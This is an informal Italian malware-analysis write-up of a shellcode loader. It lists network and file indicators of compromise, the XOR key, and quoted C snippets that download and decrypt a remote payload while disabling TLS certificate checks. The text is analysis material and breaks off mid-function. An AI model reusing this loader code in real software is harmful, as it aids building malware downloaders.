
Analisi per caricatore di shellcode stage1 da hacking
Diagramma di flusso del codice
IoC di rete
https://172\[.]20\[.]20\[.]164
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MDDRJS)
IoC di infezione (file rilasciati)
2s5s7k8w8b4i.dat
9z8o5d9l0p6c.dat
Ok, quindi che cavolo. Prendiamolo. Loader.sln o loader.c
ok quindi avvio e da avvio ad asm? cosa succede in asm? pic (codice indipendente dalla posizione) shellcode. fico, e cosa fa? fondamentalmente eseguirà Loader(0xdeadbeef), perché?? non so perché hanno scelto quell'indirizzo, ma a quell'indirizzo dovrebbe esserci il codice unpackato. comunque, continuiamo e vediamo cosa succede nel debugger. Correzione: facciamo Loader(eax) ed eax è un indirizzo IP con un file .dat .png)
Ora, se seguiamo il flusso, entriamo in loader

Per ora salteremo LoadVtable, dato che è onnipresente e grande, e ci torneremo dopo aver finito di analizzare il resto delle sue capacità. Ora andiamo a ispezionare DownloadAndDecryptTls.
DownloadAndDecryptTls

Ora una cosa interessante che ho notato durante il debug.
È che, come puoi vedere nell'immagine qui sopra e nel seguente snippet
DWORD dwFileSize;
LPBYTE lpFileBuffer = DownloadAndDecryptTls(&pVtable, lpLoaderConfig->strUserAgent,
lpLoaderConfig->strUrl,
&dwFileSize,
lpLoaderConfig->dwXorKey,
lpLoaderConfig->dwXorKey ? TRUE : FALSE);
è che lpLoaderConfig viene recuperato dinamicamente. ma da dove? beh, a quanto pare scarica o usa internamente quel file .dat? e cos'è quel file .dat. Ispezionando l'archivio
vediamo un altro file interessante, shellcode_0x95d. Se lo ispezioniamo in hxd
vedrai un mucchio di chiamate API e quell'URL. quindi fondamentalmente questo è il vero shellcode :) fico, ci daremo un'occhiata dopo che avremo finito con questo.
Ora, solo per dopo, la chiave xor è 0x6281f17f. Ora, per una breve analisi fino al punto interessante ValidateCa. Fino a lì non succede nulla di davvero speciale in questa funzione; la cosa più interessante è la chiamata a InternetOpenA, che inizializza la DLL per la roba di rete. Sarà interessante ispezionarla dinamicamente per vedere un trucco che hanno usato. Lo fanno nel codice C con
hOpen = lpTable->InternetOpenA(strUserAgent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
che è un argomento in meno rispetto all'API. Comunque basta parlare, vediamo cosa succede nel codice.
Quindi nel debugger appare così
Quindi immagino che quello che succede qui è che, poiché usa INTERNET_OPEN_TYPE_PRECONFIG, utilizza una struttura preconfigurata e lptable ha già l'URL al suo interno.
Comunque, dopo abbiamo ValidateCA
quindi comunque, perché facciamo questo? Perché determina semplicemente se vogliamo usare https o http
DWORD dwHttpsFlag = 0;
if( ValidateCA(lpTable) )
dwHttpsFlag = INTERNET_FLAG_SECURE;
else
dwHttpsFlag = INTERNET_FLAG_SECURE|INTERNET_FLAG_IGNORE_CERT_CN_INVALID|INTERNET_FLAG_IGNORE_CERT_DATE_INVALID;
Poi facciamo una semplice richiesta GET e poi scarichiamo il file da http. Niente di troppo speciale qui. Se ti stai chiedendo se c'è qualcosa di speciale nel codice, penso di no; probabilmente puoi trovare esempi su internet su come fare questo. Come scarica i file la funzione DownloadFile? Usando InternetReadFileExA.
Comunque, ecco il codice
if( hOpen )
{
hConnect = lpTable->fpInternetConnect(hOpen, serverName, INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0 );
if( hConnect )
{
hReq = lpTable->fpHttpOpenRequest(hConnect, strGet, strResource, strHTTPVersion, NULL, NULL, dwHttpsFlag, 0 );
if( hReq )
{
if( !ValidateCA(lpTable) )
{
DWORD dwFlags;
dwBuffLen = sizeof(dwFlags);
lpTable->fpInternetQueryOption(hReq, INTERNET_OPTION_SECURITY_FLAGS,(LPVOID)&dwFlags, &dwBuffLen);
dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA;
lpTable->fpInternetSetOption(hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
}
if( lpTable->fpHttpSendRequest(hReq, NULL, 0, NULL, 0) )
{
dwBuffLen = 16;
dwIdx = 0;
lpTable->HttpQueryInfoW(hReq, HTTP_QUERY_CONTENT_LENGTH, strBuff, &dwBuffLen, &dwIdx);
*dwFileLen = lpTable->wtoi((LPWSTR) strBuff);